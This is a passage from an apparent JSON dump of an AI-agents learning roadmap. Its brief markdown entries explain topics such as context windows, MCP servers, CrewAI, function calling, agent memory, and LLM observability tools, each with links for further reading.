    "path": "src/data/roadmaps/ai-agents/content/code-generation@PK8w31GlvtmAuU92sHaqr.md",
    "content": "# Code generation\n\nCode-generation agents take a plain language request, understand the goal, and then write or edit source code to meet it. They can build small apps, add features, fix bugs, refactor old code, write tests, or translate code from one language to another. This saves time for developers, helps beginners learn, and reduces human error. Teams use these agents inside code editors, chat tools, and automated pipelines. By handling routine coding tasks, the agents free people to focus on design, logic, and user needs.\n\nVisit the following resources to learn more:\n\n- [@official@GitHub Copilot](https://github.com/features/copilot)\n- [@article@Multi-Agent-based Code Generation](https://arxiv.org/abs/2312.13010)\n- [@article@From Prompt to Production: GitHub Blog](https://github.blog/ai-and-ml/github-copilot/from-prompt-to-production-building-a-landing-page-with-copilot-agent-mode/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/context-windows@dyn1LSioema-Bf9lLTgUZ.md",
    "content": "# Context Windows\n\nA context window is the chunk of text a large language model can read at one time. It is measured in tokens, which are pieces of words. If a model has a 4,000-token window, it can only “look at” up to about 3,000 words before it must forget or shorten earlier parts. New tokens push old ones out, like a sliding window moving over text. The window size sets hard limits on how long a prompt, chat history, or document can be. A small window forces you to keep inputs short or split them, while a large window lets the model follow longer stories and hold more facts. Choosing the right window size balances cost, speed, and how much detail the model can keep in mind at once.\n\nNew techniques, like retrieval-augmented generation (RAG) and long-context transformers (e.g., Claude 3, Gemini 1.5), aim to extend usable context without hitting model limits directly.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Context Window in AI?](https://www.ibm.com/think/topics/context-window)\n- [@article@Scaling Language Models with Retrieval-Augmented Generation (RAG)](https://arxiv.org/abs/2005.11401)\n- [@article@Long Context in Language Models - Anthropic's Claude 3](https://www.anthropic.com/news/claude-3-family)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/creating-mcp-servers@1NXIN-Hbjl5rPy_mqxQYW.md",
    "content": "# Creating MCP Servers\n\nAn MCP server stores and shares conversation data for AI agents using the Model Context Protocol (MCP), a standard for agent memory management. Start by picking a language and web framework, then create REST endpoints like `/messages`, `/state`, and `/health`. Each endpoint exchanges JSON following the MCP schema. Store session logs with a session ID, role, and timestamp using a database or in-memory store. Add token-based authentication and filters so agents can fetch only what they need. Set limits on message size and request rates to avoid overload. Finally, write unit tests, add monitoring, and run load tests to ensure stability.\n\nVisit the following resources to learn more:\n\n- [@official@Model Context Protocol (MCP) Specification](https://www.anthropic.com/news/model-context-protocol)\n- [@article@How to Build and Host Your Own MCP Servers in Easy Steps?](https://collabnix.com/how-to-build-and-host-your-own-mcp-servers-in-easy-steps/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/crewai@uFPJqgU4qGvZyxTv-osZA.md",
    "content": "# CrewAI\n\nCrewAI is an open-source Python framework for creating teams of AI agents, called a crew. Each agent is assigned a name, role, and set of tools, and the system manages planning, communication, and execution between them. To use it, install the package, define agents in code, connect them with a `Crew` object, and assign a mission prompt. CrewAI interacts with an LLM like GPT-4 or Claude, passes messages, runs tools, and returns a final output. You can also add web search, custom functions, or memory stores. Logs are built-in to help debug and optimize workflows.\n\nVisit the following resources to learn more:\n\n- [@official@CrewAI](https://crewai.com/)\n- [@official@CrewAI Documentation](https://docs.crewai.com/)\n- [@article@Getting Started with CrewAI: Building AI Agents That Work Together](https://medium.com/@cammilo/getting-started-with-crewai-building-ai-agents-that-work-together-9c1f47f185ca)\n- [@video@Crew AI Full Tutorial For Beginners](https://www.youtube.com/watch?v=q6QLGS306d0)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/dag-agents@Ep8RoZSy_Iq_zWXlGQLZo.md",
    "content": "# DAG Agents\n\nA DAG (Directed Acyclic Graph) agent is made of small parts called nodes that form a one-way graph with no loops. Each node does a task and passes its result to the next. Because there are no cycles, data always moves forward, making workflows easy to follow and debug. Independent nodes can run in parallel, speeding up tasks. If a node fails, you can trace and fix that part without touching the rest. DAG agents are ideal for jobs like data cleaning, multi-step reasoning, or workflows where backtracking isn’t needed.\n\nVisit the following resources to learn more:\n\n- [@official@Airflow: Directed Acyclic Graphs Documentation](https://airflow.apache.org/docs/apache-airflow/stable/concepts/dags.html)\n- [@article@What are DAGs in AI Systems?](https://www.restack.io/p/version-control-for-ai-answer-what-is-dag-in-ai-cat-ai)\n- [@video@DAGs Explained Simply](https://www.youtube.com/watch?v=1Yh5S-S6wsI)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/data-analysis@wKYEaPWNsR30TIpHaxSsq.md",
    "content": "# Data Analysis\n\nAI agents can automate data analysis by pulling information from files, databases, or live streams. They clean the data by spotting missing values, outliers, and making smart corrections. After cleaning, agents find patterns like sales spikes or sensor drops and can build charts or dashboards. Some run basic statistics, others apply machine learning to predict trends. Agents can also send alerts if numbers go beyond set limits, helping people stay informed without constant monitoring.\n\nVisit the following resources to learn more:\n\n- [@article@How AI Will Transform Data Analysis in 2025](https://www.devfi.com/ai-transform-data-analysis-2025/)\n- [@article@How AI Has Changed The World Of Analytics And Data Science](https://www.forbes.com/councils/forbestechcouncil/2025/01/28/how-ai-has-changed-the-world-of-analytics-and-data-science/k)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/data-privacy--pii-redaction@rdlYBJNNyZUshzsJawME4.md",
    "content": "# Data Privacy + PII Redaction\n\nAI agents often process text, images, and logs that include personal data like names, phone numbers, or addresses. Leaks can cause fraud, stalking, or other harm, so laws like GDPR and CCPA require strict protections. A key method is PII redaction: scanning inputs and outputs to find and mask any personal details before storage or sharing. Redaction uses pattern rules, machine learning, or both. Teams should also keep audit logs, enforce access controls, and test their redaction flows often to prevent leaks.\n\nVisit the following resources to learn more:\n\n- [@official@GDPR Compliance Overview](https://gdpr.eu/)\n- [@article@Protect Sensitive Data with PII Redaction Software](https://redactor.ai/blog/pii-redaction-software-guide)\n- [@article@A Complete Guide on PII Redaction](https://enthu.ai/blog/what-is-pii-redaction/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/database-queries@sV1BnA2-qBnXoKpUn-8Ub.md",
    "content": "# Database Queries\n\nDatabase queries let an AI agent fetch, add, change, or remove data stored in a database. The agent sends a request written in a query language, most often SQL. The database engine then looks through its tables and returns only the rows and columns that match the rules in the request. With this tool, the agent can answer questions that need up-to-date numbers, user records, or other stored facts. It can also write new entries or adjust old ones to keep the data current. Because queries work in real time and follow clear rules, they give the agent a reliable way to handle large sets of structured information.\n\nVisit the following resources to learn more:\n\n- [@article@Building Your Own Database Agent](https://www.deeplearning.ai/short-courses/building-your-own-database-agent/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/deepeval@0924QUH1wV7Mp-Xu0FAhF.md",
    "content": "# DeepEval\n\nDeepEval is an open-source tool that helps you test and score the answers your AI agent gives. You write small test cases that show an input and the reply you hope to get, or a rule the reply must follow. DeepEval runs the agent, checks the reply with built-in measures such as similarity, accuracy, or safety, and then marks each test as pass or fail. You can add your own checks, store tests in code or YAML files, and run them in a CI pipeline so every new model or prompt version gets the same quick audit. The fast feedback makes it easy to spot errors, cut down on hallucinations, and compare different models before you ship.\n\nVisit the following resources to learn more:\n\n- [@official@DeepEval - The Open-Source LLM Evaluation Framework](https://www.deepeval.com/)\n- [@opensource@DeepEval GitHub Repository](https://github.com/confident-ai/deepeval)\n- [@article@Evaluate LLMs Effectively Using DeepEval: A Pratical Guide](https://www.datacamp.com/tutorial/deepeval)\n- [@video@DeepEval - LLM Evaluation Framework](https://www.youtube.com/watch?v=ZNs2dCXHlfo)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/email--slack--sms@qaNr5I-NQPnfrRH7ynGTl.md",
    "content": "# Email / Slack / SMS\n\nEmail, Slack, and SMS are message channels an AI agent can use to act on tasks and share updates. The agent writes and sends emails to give detailed reports or collect files. It posts to Slack to chat with a team, answer questions, or trigger alerts inside a workspace. It sends SMS texts for quick notices such as reminders, confirmations, or warnings when a fast response is needed. By picking the right channel, the agent reaches users where they already communicate, makes sure important information arrives on time, and can even gather replies to keep a task moving forward.\n\nVisit the following resources to learn more:\n\n- [@official@Twilio Messaging API](https://www.twilio.com/docs/usage/api)\n- [@official@Slack AI Agents](https://slack.com/ai-agents)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/embeddings-and-vector-search@UIm54UmICKgep6s8Itcyv.md",
    "content": "# Embeddings and Vector Search\n\nEmbeddings turn words, pictures, or other data into lists of numbers called vectors. Each vector keeps the meaning of the original item. Things with similar meaning get vectors that sit close together in this number space. Vector search scans a large set of vectors and finds the ones nearest to a query vector, even if the exact words differ. This lets AI agents match questions with answers, suggest related items, and link ideas quickly.\n\nVisit the following resources to learn more:\n\n- [@official@OpenAI Embeddings API Documentation](https://platform.openai.com/docs/guides/embeddings/what-are-embeddings)\n- [@article@Understanding Embeddings and Vector Search (Pinecone Blog)](https://www.pinecone.io/learn/vector-embeddings/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/episodic-vs-semantic-memory@EfCCNqLMJpWKKtamUa5gK.md",
    "content": "# Episodic vs Semantic Memory\n\nAgent memory often has two parts. Episodic memory is relevant to the context of the current conversation and may be lost after the conversation ends. Semantic memory is relevant to the broader knowledge of the agent and is persistent.\n\nVisit the following resources to learn more:\n\n- [@article@What Is AI Agent Memory? - IBM](https://www.ibm.com/think/topics/ai-agent-memory)\n- [@article@Episodic Memory vs. Semantic Memory: The Key Differences](https://www.magneticmemorymethod.com/episodic-vs-semantic-memory/)\n- [@article@Memory Systems in LangChain](https://python.langchain.com/docs/how_to/chatbots_memory/)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/file-system-access@BoJqZvdGam4cd6G6yK2IV.md",
    "content": "# File System Access\n\nFile system access lets an AI agent read, create, change, or delete files and folders on a computer or server. With this power, the agent can open a text file to pull data, write a new report, save logs, or tidy up old files without human help. It can also move files between folders to keep things organized. This tool is useful for tasks such as data processing, report generation, and backup jobs. Strong safety checks are needed so the agent touches only the right files, avoids private data, and cannot harm the system by mistake.\n\nVisit the following resources to learn more:\n\n- [@article@Filesystem MCP server for AI Agents](https://playbooks.com/mcp/mateicanavra-filesystem)\n- [@article@File System Access API](https://developer.mozilla.org/en-US/docs/Web/API/File_System_Access_API)\n- [@article@Understanding File Permissions and Security](https://linuxize.com/post/understanding-linux-file-permissions/)\n- [@video@How File Systems Work?](https://www.youtube.com/watch?v=KN8YgJnShPM)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/fine-tuning-vs-prompt-engineering@5OW_6o286mj470ElFyJ_5.md",
    "content": "# Fine-tuning vs Prompt Engineering\n\nFine-tuning and prompt engineering are two ways to get better outputs from a language model. Fine-tuning means training an existing model further with your own examples so it adapts to specific tasks. It needs extra data, computing power, and time but creates deeply specialized models. Prompt engineering, in contrast, leaves the model unchanged and focuses on crafting better instructions or examples in the prompt itself. It is faster, cheaper, and safer when no custom data is available. Fine-tuning suits deep domain needs; prompt engineering fits quick control and prototyping.\n\nVisit the following resources to learn more:\n\n- [@article@OpenAI Fine Tuning](https://platform.openai.com/docs/guides/fine-tuning)\n- [@article@Prompt Engineering Guide](https://www.promptingguide.ai/)\n- [@article@Prompt Engineering vs Prompt Tuning: A Detailed Explanation](https://medium.com/@aabhi02/prompt-engineering-vs-prompt-tuning-a-detailed-explanation-19ea8ce62ac4)\n- [@video@RAG vs Fine-Tuning vs Prompt Engineering: Optimizing AI Models](https://youtu.be/zYGDpG-pTho?si=pFeWqbjSN1RM4WiZ)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/forgetting--aging-strategies@m-97m7SI0XpBnhEE8-_1S.md",
    "content": "# Forgetting / Aging Strategies\n\nForgetting or aging strategies help an AI agent keep only the useful parts of its memory and drop the rest over time. The agent may tag each memory with a time stamp and lower its importance as it gets older, or it may remove items that have not been used for a while, much like a “least-recently-used” list. Some systems give each memory a relevance score; when space runs low, they erase the lowest-scoring items first. Others keep a fixed-length sliding window of the most recent events or create short summaries and store those instead of raw details. These methods stop the memory store from growing without limits, cut storage costs, and let the agent focus on current goals. Choosing the right mix of aging rules is a trade-off: forget too fast and the agent loses context, forget too slow and it wastes resources or reacts to outdated facts.\n\nVisit the following resources to learn more:\n\n- [@article@Memory Management](https://python.langchain.com/docs/how_to/chatbots_memory/)\n- [@article@Memory Management for AI Agents](https://techcommunity.microsoft.com/blog/azure-ai-services-blog/memory-management-for-ai-agents/4406359)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/frequency-penalty@z_N-Y0zGkv8_qHPuVtimL.md",
    "content": "# Frequency Penalty\n\nFrequency penalty is a setting that tells a language model, “Stop repeating yourself.” As the model writes, it keeps track of how many times it has already used each word. A positive frequency-penalty value lowers the chance of picking a word again if it has been seen many times in the current reply. This helps cut down on loops like “very very very” or long blocks that echo the same phrase. A value of 0 turns the rule off, while higher numbers make the model avoid repeats more strongly. If the penalty is too high, the text may miss common words that are still needed, so you often start low (for example 0.2) and adjust. Frequency penalty works together with other controls such as temperature and top-p to shape output that is clear, varied, and not boring.\n\nVisit the following resources to learn more:\n\n- [@article@Frequency Penalty Explanation](https://platform.openai.com/docs/advanced-usage/advanced-usage#frequency-and-presence-penalties)\n- [@article@Understanding Frequency Penalty and Presence Penalty](https://medium.com/@the_tori_report/understanding-frequency-penalty-and-presence-penalty-how-to-fine-tune-ai-generated-text-e5e4f5e779cd)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/gemini-function-calling@_iIsBJTVS6OBf_dsdmbVO.md",
    "content": "# Gemini Function Calling\n\nGemini function calling lets you hook the Gemini language model to real code in a safe and simple way. You first list the functions you want it to use, each with a name, a short note about what it does, and a JSON schema for the needed arguments. When the user speaks, Gemini checks this list and, if a match makes sense, answers with a tiny JSON block that holds the chosen function name and the filled-in arguments. Your program then runs that function, sends the result back, and the chat moves on. Because the reply is strict JSON and not free text, you do not have to guess at what the model means, and you avoid many errors. This flow lets you build agents that pull data, call APIs, or carry out long action chains while keeping control of business logic on your side.\n\nVisit the following resources to learn more:\n\n- [@official@Function Calling with the Gemini API](https://ai.google.dev/gemini-api/docs/function-calling)\n- [@article@Understanding Function Calling in Gemini](https://medium.com/google-cloud/understanding-function-calling-in-gemini-3097937f1905)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/git-and-terminal-usage@McREk2zHOlIrqbGSKbX-J.md",
    "content": "# Git and Terminal Usage\n\nGit and the terminal are key tools for AI agents and developers. Git lets you track changes in code, work with branches, and collaborate safely with others. It stores snapshots of your work so you can undo mistakes or merge ideas. The terminal (command line) lets you move around files, run programs, set up servers, and control tools like Git quickly without a GUI.\n\nVisit the following resources to learn more:\n\n- [@official@Git Basics](https://git-scm.com/doc)\n- [@official@Introduction to the Terminal](https://ubuntu.com/tutorials/command-line-for-beginners#1-overview)\n- [@video@Git and Terminal Basics Crash Course (YouTube)](https://www.youtube.com/watch?v=HVsySz-h9r4)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/haystack@XS-FsvtrXGZ8DPrwOsnlI.md",
    "content": "# Haystack\n\nHaystack is an open-source Python framework that helps you build search and question-answering agents fast. You connect your data sources, pick a language model, and set up pipelines that find the best answer to a user’s query. Haystack handles tasks such as indexing documents, retrieving passages, running the model, and ranking results. It works with many back-ends like Elasticsearch, OpenSearch, FAISS, and Pinecone, so you can scale from a laptop to a cluster. You can add features like summarization, translation, and document chat by dropping extra nodes into the pipeline. The framework also offers REST APIs, a web UI, and clear tutorials, making it easy to test and deploy your agent in production.\n\nVisit the following resources to learn more:\n\n- [@official@Haystack](https://haystack.deepset.ai/)\n- [@official@Haystack Overview](https://docs.haystack.deepset.ai/docs/intro)\n- [@opensource@deepset-ai/haystack](https://github.com/deepset-ai/haystack)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/helicone@MLxP5N0Vrmwh-kyvNeGXn.md",
    "content": "# Helicone\n\nHelicone is an open-source tool that helps you watch and understand how your AI agents talk to large language models. You send your model calls through Helicone’s proxy, and it records each request and response without changing the result. A clear web dashboard then shows logs, latency, token counts, error rates, and cost for every call. You can filter, search, and trace a single user journey, which makes it easy to spot slow prompts or rising costs. Helicone also lets you set alerts and share traces with your team, so problems get fixed fast and future changes are safer.\n\nVisit the following resources to learn more:\n\n- [@official@Helicone](https://www.helicone.ai/)\n- [@official@Helicone OSS LLM Observability](https://docs.helicone.ai/getting-started/quick-start)\n- [@opensource@Helicone/helicone](https://github.com/Helicone/helicone)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/human-in-the-loop-evaluation@rHxdxN97ZcU7MPl8L1jzN.md",
    "content": "# Human in the Loop Evaluation\n\nHuman-in-the-loop evaluation checks an AI agent by letting real people judge its output and behavior. Instead of trusting only automated scores, testers invite users, domain experts, or crowd workers to watch tasks, label answers, flag errors, and rate clarity, fairness, or safety. Their feedback shows problems that numbers alone miss, such as hidden bias, confusing language, or actions that feel wrong to a person. Teams study these notes, adjust the model, and run another round, repeating until the agent meets quality and trust goals. Mixing human judgment with data leads to a system that is more accurate, useful, and safe for everyday use.\n\nVisit the following resources to learn more:\n\n- [@article@Human in the Loop · Cloudflare Agents](https://developers.cloudflare.com/agents/concepts/human-in-the-loop/)\n- [@article@What is Human-in-the-Loop: A Guide](https://logifusion.com/what-is-human-in-the-loop-htil/)\n- [@article@Human-in-the-Loop ML](https://docs.aws.amazon.com/sagemaker/latest/dg/sms-human-review-workflow.html)\n- [@article@The Importance of Human Feedback in AI (Hugging Face Blog)](https://huggingface.co/blog/rlhf)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/integration-testing-for-flows@P9-SiIda3TSjHsfkI5OUV.md",
    "content": "# Integration Testing for Flows\n\nIntegration testing for flows checks that an AI agent works well from the first user input to the final action, across every step in between. It joins all parts of the system—natural-language understanding, planning, memory, tools, and output—and runs them together in real scenarios. Test cases follow common and edge-case paths a user might take. The goal is to catch errors that only appear when parts interact, such as wrong data passed between modules or timing issues. Good practice includes building automated test suites, using real or mock services, and logging each step for easy debugging. When integration tests pass, you gain confidence that the whole flow feels smooth and reliable for users.\n\nVisit the following resources to learn more:\n\n- [@article@Integration Testing for AI-based Features with Humans](https://www.microsoft.com/en-us/research/publication/hint-integration-testing-for-ai-based-features-with-humans-in-the-loop/)\n- [@article@Integration Testing and Unit Testing in AI](https://www.aviator.co/blog/integration-testing-and-unit-testing-in-the-age-of-ai/)\n- [@article@Integration Testing](https://www.guru99.com/integration-testing.html)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/iterate-and-test-your-prompts@noTuUFnHSBzn7GKG9UZEi.md",
    "content": "# Iterate and Test your Prompts\n\nAfter you write a first prompt, treat it as a draft, not the final version. Run it with the AI, check the output, and note what is missing, wrong, or confusing. Change one thing at a time, such as adding an example, a limit on length, or a tone request. Test again and see if the result gets closer to what you want. Keep a record of each change and its effect, so you can learn patterns that work. Stop when the output is clear, correct, and repeatable. This loop of try, observe, adjust, and retry turns a rough prompt into a strong one.\n\nVisit the following resources to learn more:\n\n- [@course@Prompt Engineering Best Practices](https://www.deeplearning.ai/short-courses/chatgpt-prompt-engineering-for-developers/)\n- [@article@Master Iterative Prompting: A Guide](https://blogs.vreamer.space/master-iterative-prompting-a-guide-to-more-effective-interactions-with-ai-50a736eaec38)\n- [@video@Prompt Engineering: The Iterative Process](https://www.youtube.com/watch?v=dOxUroR57xs)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/langchain@Ka6VpCEnqABvwiF9vba7t.md",
    "content": "# LangChain\n\nLangChain is a framework designed to simplify the creation of applications using large language models (LLMs). It provides tools and abstractions to connect LLMs to various data sources, create chains of calls to LLMs or other utilities, and build agents that can interact with their environment. Essentially, it helps developers structure, chain, and orchestrate different AI components to build more complex and capable AI applications.\n\nVisit the following resources to learn more:\n\n- [@official@LangChain Documentation](https://python.langchain.com/docs/introduction/)\n- [@opensource@langchain-ai/langchain](https://github.com/langchain-ai/langchain)\n- [@article@AI Agents with LangChain and LangGraph](https://www.udacity.com/course/ai-agents-with-langchain-and-langgraph--cd13764)\n- [@video@LangChain Crash Course - Build LLM Apps Fast (YouTube)](https://www.youtube.com/watch?v=nAmC7SoVLd8)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/langfuse@UoIheaJlShiceafrWALEH.md",
    "content": "# LangFuse\n\nLangFuse is a free, open-source tool that lets you watch and debug AI agents while they run. You add a small code snippet to your agent, and LangFuse starts collecting every prompt, model response, and user input. It shows this data as neat timelines, so you can see each step the agent takes, how long the calls cost, and where errors happen. You can tag runs, search through them, and compare different prompt versions to find what works best. The dashboard also tracks token usage and latency, helping you cut cost and improve speed. Because LangFuse stores data in your own database, you keep full control of sensitive text. It works well with popular frameworks like LangChain and can send alerts to Slack or email when something breaks.\n\nVisit the following resources to learn more:\n\n- [@official@LangFuse](https://langfuse.com/)\n- [@official@LangFuse Documentation](https://langfuse.com/docs)\n- [@opensource@langfuse/langfuse](https://github.com/langfuse/langfuse)\n- [@article@Langfuse: Open Source LLM Engineering Platform](https://www.ycombinator.com/companies/langfuse)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/langsmith@SS8mGqf9wfrNqenIWvN8Z.md",
    "content": "# LangSmith\n\nLangSmith is a web tool that helps you see and fix what your AI agents are doing. It records each call that the agent makes to a language model, the input it used, and the answer it got back. You can replay any step, compare different prompts, measure cost, speed, and error rates, and tag runs for easy search. It also lets you store test sets and run quick checks so you know if new code makes the agent worse. By showing clear traces and charts, LangSmith makes it easier to debug, improve, and trust AI systems built with LangChain or other frameworks.\n\nVisit the following resources to learn more:\n\n- [@official@LangSmith](https://smith.langchain.com/)\n- [@official@LangSmith Documentation](https://docs.smith.langchain.com/)\n- [@official@Harden your application with LangSmith Evaluation](https://www.langchain.com/evaluation)\n- [@article@What is LangSmith and Why should I care as a developer?](https://medium.com/around-the-prompt/what-is-langsmith-and-why-should-i-care-as-a-developer-e5921deb54b5)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/langsmith@xp7TCTRE9HP60_rGzTUF6.md",
    "content": "# LangSmith\n\nLangSmith is a tool that helps you see how well your AI agents work. It lets you record every step the agent takes, from the first input to the final answer. You can replay these steps to find places where the agent goes wrong. LangSmith also lets you create test sets with real user prompts and compare new model versions against them. It shows clear numbers on speed, cost, and accuracy so you can spot trade-offs. Because LangSmith links to LangChain, you can add it with only a few extra lines of code. The web dashboard then gives charts, error logs, and side-by-side result views. This makes it easy to track progress, fix bugs, and prove that your agent is getting better over time.\n\nVisit the following resources to learn more:\n\n- [@official@LangSmith](https://smith.langchain.com/)\n- [@official@LangSmith Documentation](https://docs.smith.langchain.com/)\n- [@official@Harden your application with LangSmith Evaluation](https://www.langchain.com/evaluation)\n- [@article@What is LangSmith and Why should I care as a developer?](https://medium.com/around-the-prompt/what-is-langsmith-and-why-should-i-care-as-a-developer-e5921deb54b5)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/llamaindex@iEHF-Jm3ck-Iu85EbCoDi.md",
    "content": "# LlamaIndex\n\nLlamaIndex is an open-source Python toolkit that helps you give a language model access to your own data. You load files such as PDFs, web pages, or database rows. The toolkit breaks the text into chunks, turns them into vectors, and stores them in a chosen vector store like FAISS or Pinecone. When a user asks a question, LlamaIndex finds the best chunks, adds them to the prompt, and sends the prompt to the model. This flow is called retrieval-augmented generation and it lets an agent give answers grounded in your content. The library offers simple classes for loading, indexing, querying, and composing tools, so you write less boilerplate code. It also works with other frameworks, including LangChain, and supports models from OpenAI or Hugging Face. With a few lines of code you can build a chatbot, Q&A system, or other agent that knows your documents.\n\nVisit the following resources to learn more:\n\n- [@official@LlamaIndex](https://llamaindex.ai/)\n- [@official@LlamaIndex Documentation](https://docs.smith.langchain.com/)\n- [@official@What is LlamaIndex.TS](https://ts.llamaindex.ai/docs/llamaindex)\n- [@opensource@run-llama/llama_index](https://github.com/run-llama/llama_index)\n- [@article@What is LlamaIndex? - IBM](https://www.ibm.com/think/topics/llamaindex)\n- [@article@LlamaIndex - Hugging Face](https://huggingface.co/llamaindex)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/llm-native-function-calling@aafZxtjxiwzJH1lwHBODi.md",
    "content": "# LLM Native \"Function Calling\"\n\nLLM native “function calling” lets a large language model decide when to run a piece of code and which inputs to pass to it. You first tell the model what functions are available. For each one you give a short name, a short description, and a list of arguments with their types. During a chat, the model can answer in JSON that matches this schema instead of plain text. Your wrapper program reads the JSON, calls the real function, and then feeds the result back to the model so it can keep going. This loop helps an agent search the web, look up data, send an email, or do any other task you expose. Because the output is structured, you get fewer mistakes than when the model tries to write raw code or natural-language commands.\n\nVisit the following resources to learn more:\n\n- [@article@A Comprehensive Guide to Function Calling in LLMs](https://thenewstack.io/a-comprehensive-guide-to-function-calling-in-llms/)\n- [@article@Function Calling with LLMs | Prompt Engineering Guide](https://www.promptingguide.ai/applications/function_calling)\n- [@article@Function Calling with Open-Source LLMs](https://medium.com/@rushing_andrei/function-calling-with-open-source-llms-594aa5b3a304)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/local-desktop@iBtJp24F_kJE3YlBsW60s.md",
    "content": "# Local Desktop\n\nA Local Desktop deployment means running the MCP server directly on your own computer instead of a remote cloud or server. You install the MCP software, needed runtimes, and model files onto your desktop or laptop. The server then listens on a local address like `127.0.0.1:8000`, accessible only from the same machine unless you open ports manually. This setup is great for fast tests, personal demos, or private experiments since you keep full control and avoid cloud costs. However, it's limited by your hardware's speed and memory, and others cannot access it without tunneling tools like ngrok or local port forwarding.\n\nVisit the following resources to learn more:\n\n- [@article@Build a Simple Local MCP Server](https://blog.stackademic.com/build-simple-local-mcp-server-5434d19572a4)\n- [@article@How to Build and Host Your Own MCP Servers in Easy Steps](https://collabnix.com/how-to-build-and-host-your-own-mcp-servers-in-easy-steps/)\n- [@article@Expose localhost to Internet](https://ngrok.com/docs)\n- [@video@Run a Local Server on Your Machine](https://www.youtube.com/watch?v=ldGl6L4Vktk)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/long-term-memory@Ue633fz6Xu2wa2-KOAtdP.md",
    "content": "# Long Term Memory\n\nLong term memory in an AI agent stores important information for future use, like a digital notebook. It saves facts, past events, user preferences, and learned skills so the agent can make smarter and more consistent decisions over time. Unlike short-term memory, this data survives across sessions. When a similar situation comes up, the agent can look back and use what it already knows. Long term memory usually lives in a database, file system, or vector store and may hold text, numbers, embeddings, or past conversation states. Good management of long-term memory is key for building agents that feel personalized and get better with experience.\n\nVisit the following resources to learn more:\n\n- [@article@Long Term Memory in AI Agents](https://medium.com/@alozie_igbokwe/ai-101-long-term-memory-in-ai-agents-35f87f2d0ce0)\n- [@article@Memory Management in AI Agents](https://python.langchain.com/docs/how_to/chatbots_memory/)\n- [@article@Storing and Retrieving Knowledge for Agents](https://www.pinecone.io/learn/langchain-retrieval-augmentation/)\n- [@article@Short-Term vs Long-Term Memory in AI Agents](https://adasci.org/short-term-vs-long-term-memory-in-ai-agents/)\n- [@video@Building Brain-Like Memory for AI Agents](https://www.youtube.com/watch?v=VKPngyO0iKg)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/manual-from-scratch@US6T5dXM8IY9V2qZnTOFW.md",
    "content": "# Manual (from scratch)\n\nBuilding an AI agent from scratch means writing every part of the system yourself, without ready-made libraries. You define how the agent senses inputs, stores memory, makes decisions, and learns over time. First, you pick a clear goal, like solving puzzles or chatting. Then you code the inputs (keyboard, mouse, text), decision logic (rules or neural networks), and memory (saving facts from past events). Testing is critical: you run the agent, watch its actions, debug, and improve. Though it takes longer, this approach gives deep understanding and full control over how the agent works and evolves.\n\nVisit the following resources to learn more:\n\n- [@article@A Step-by-Step Guide to Building an AI Agent From Scratch](https://www.neurond.com/blog/how-to-build-an-ai-agent)\n- [@article@How to Build AI Agents](https://wotnot.io/blog/build-ai-agents)\n- [@article@Build Your Own AI Agent from Scratch in 30 Minutes](https://medium.com/@gurpartap.sandhu3/build-you-own-ai-agent-from-scratch-in-30-mins-using-simple-python-1458f8099da0)\n- [@video@Building an AI Agent From Scratch](https://www.youtube.com/watch?v=bTMPwUgLZf0)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/max-length@Bn_BkthrVX_vOuwQzvPZa.md",
    "content": "# Max Length\n\nMax Length sets the maximum number of tokens a language model can generate in one reply. Tokens are pieces of text—roughly 100 tokens equals a short paragraph. A small limit saves time and cost but risks cutting answers short. A large limit allows full, detailed replies but needs more compute and can lose focus. Choose limits based on the task: short limits for tweets, longer ones for articles. Tuning Max Length carefully helps balance clarity, speed, and cost.\n\nVisit the following resources to learn more:\n\n- [@official@OpenAI Token Usage](https://platform.openai.com/docs/guides/gpt/managing-tokens)\n- [@official@Size and Max Token Limits](https://docs.anthropic.com/claude/docs/size-and-token-limits)\n- [@article@Utilising Max Token Context Window of Anthropic Claude](https://medium.com/@nampreetsingh/utilising-max-token-context-window-of-anthropic-claude-on-amazon-bedrock-7377d94b2dfa)\n- [@article@Controlling the Length of OpenAI Model Responses](https://help.openai.com/en/articles/5072518-controlling-the-length-of-openai-model-responses)\n- [@article@Max Model Length in AI](https://www.restack.io/p/ai-model-answer-max-model-length-cat-ai)\n- [@video@Understanding ChatGPT/OpenAI Tokens](https://youtu.be/Mo3NV5n1yZk)"
  },
  {
    "path": "src/data/roadmaps/ai-agents/content/mcp-client@CGVstUxVXLJcYZrwk3iNQ.md",
